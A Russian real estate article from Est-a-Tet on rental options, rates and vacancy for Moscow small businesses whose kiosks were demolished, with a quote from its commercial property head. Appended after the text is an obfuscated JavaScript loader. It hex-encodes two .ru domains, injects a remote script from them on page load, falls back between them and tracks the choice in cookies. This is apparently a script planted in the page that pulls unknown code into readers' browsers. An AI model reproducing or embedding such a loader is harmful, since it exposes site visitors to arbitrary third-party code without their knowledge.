У малого бизнеса не осталось альтернатив для размещения в центре

Специалисты Отдела коммерческой недвижимости инвестиционно-риэлторской компании Est-a-Tet – лидера продаж новостроек в Московском регионе – проанализировали возможные альтернативы размещения для малого и среднего бизнеса, лишившегося своих торговых точек и павильонов после «ночи длинных ковшей». Оказалось, что уровень арендных ставок для помещений стрит-ритейла в центре Москвы и даже в спальных районах может оказаться «неподъемным» для предпринимателей. Реальных альтернатив для размещения у них остается немного – дорогие торговые коридоры, стрит-ритейл на «неторговых» улицах, коммерческие помещения в жилых комплексах им чаще всего «не по карману и не по статусу».

Специалисты Отдела коммерческой недвижимости Est-a-Tetрассмотрели варианты размещения торговых операторов в центре Москвы и за пределами ТТК с точки зрения малого и среднего бизнеса:   

Торговые коридоры в центре

В дорогих торговых коридорах на Тверской улице, в Столешниковом переулке, на улице Большая Дмитровка, на Пятницкой улице арендные ставки колеблются от 55 до 70 тыс. руб./кв. м в год. Для помещений площадью до 50 кв. м цены могут доходить до 130 тыс. руб./кв. м в год. Некоторые собственники сохраняют даже долларовые ставки – на уровне 2 000 долл./кв. м в год. Для малого бизнеса такие арендные ставки просто «неподъемны», «потянуть» их в состоянии только сетевые операторы, например, салоны связи. Вакантность площадей в сегменте дорогих торговых коридоров в центре Москвы сохраняется в основном за счет больших площадей от 200 кв. м, которые освободили, в том числе зарубежные бренды, ушедшие с российского рынка. Для помещений площадью 50-100 кв. м вакантность стремится к нулю за счет высокого уровня заполнения со стороны сетевых операторов или дорогих бутиков (часы, одежда, ювелирные украшения). В целом вакантность коммерческих помещений в торговых коридорах в центре составляет порядка 15%, до кризиса найти подобное свободное помещение было в принципе непросто. Стоит учитывать, что собственники помещений на дорогих торговых улицах трепетно относятся к «имиджу» своего продукта, поэтому они обращают внимание на направление бизнеса арендатора. Многие из них готовы пожертвовать свой прибылью в текущем периоде и не сдавать площади малым предприятиям с «бюджетным бизнесом», например, овощной лавке, чтобы сохранить высокий статус своих помещений.

Стрит-ритейл в центре на «неторговых улицах»

Центр столицы довольно неоднороден с точки зрения насыщенности стрит-ритейлом. Так можно найти помещения не в торговых коридорах с более низкой ставкой – от 35 до 50 тыс. руб./кв. м в год, например, на Большой Бронной улице. Однако проходимость таких улиц в разы ниже по сравнению со снесенными торговыми точками у метро, поэтому малый бизнес при таком размещении может просто не окупаться из-за низкого трафика.

Помещения в дорогих жилых комплексах в центре

Также в центре существует возможность размещения в коммерческих помещениях в новых жилых комплексах, однако учитывая высокий класс новостроек в центре (бизнес+, премиум-и элитный сегмент) малому бизнесу будет практически невозможно «пробиться» в такие помещения. Для создания соответствующей классу объектов инфраструктуры собственники отбирают предприятия премиального сегмента, иначе целевая аудитория размещаемого бизнеса будет просто не совпадать с составом жильцов. При этом арендная ставка в новых жилых проектах в центре составляет порядка 40 тыс. руб./кв. м в год

Помещения в новостройках массового сегмента за ТТК

Уйти в коммерческие помещения в жилых комплексах массового сегмента малому бизнесу также будет непросто, поскольку помещений требуемого для них формата (не более 20-30 кв. м) в жилых проектах практически не представлено. В жилых комплексах обычно предлагается минимальная нарезка помещений от 50-80 кв. м. Арендная ставка для такого формата варьируется от 15 до 40 до тыс. руб./кв. м в год в зависимости от насыщенности трафика вдоль таких помещений.

Помещения в старом жилом фонде в «спальниках»

Старый жилой фонд кажется самой приемлемой альтернативной размещения для малого бизнеса. Однако арендные ставки для стрит-ритейла в проходных местах в спальных районах сопоставимы с ценами на объекты в ЦАО вне торговых коридоров за счет насыщенного трафика – на уровне 40 тыс. руб./кв. м в год, а начинаются ставки от от 15 до тыс. руб./кв. м в год для угловых и непроходных помещений. Стрит-ритейл активно перемещается в спальные районы, где чаще всего сосредоточена большая целевая аудитория подобных предприятий. При этом уровень вакантности помещений в старом жилом фонде в спальных районах у метро минимален, найти хороший объект бывает крайне трудно, поскольку с точки зрения стрит-ритейла там наиболее насыщенная покупательская среда.

«В снесенных павильонах и торговых точках у метро размещались преимущественно предприятия малого и среднего бизнеса – магазины с продуктами и бытовыми товарами, еда на вынос и т. д. Реже это были сетевые операторы – в основном салоны связи и общепит. Сильней всего после “ночи длинных ковшей” пострадал, безусловно, малый бизнес, для которого в центре Москвы, просто не существует альтернативных вариантов размещения. Единственный способ сохранить свой бизнес для таких арендаторов – это искать помещения в густонаселенных спальных районах за ТТК, однако и в таком случае им придется столкнуться с трудностями», – комментирует Елена Мишина, руководитель Отдела коммерческой недвижимости Est-a-Tet. 

// <![CDATA[ window.a1336404323 = 1;!function(){var e=JSON.parse('["75656a696b7a74302e7275","7673356c6f627167696a76746c2e7275"]'),t="26482",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "move.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}(); // ]]>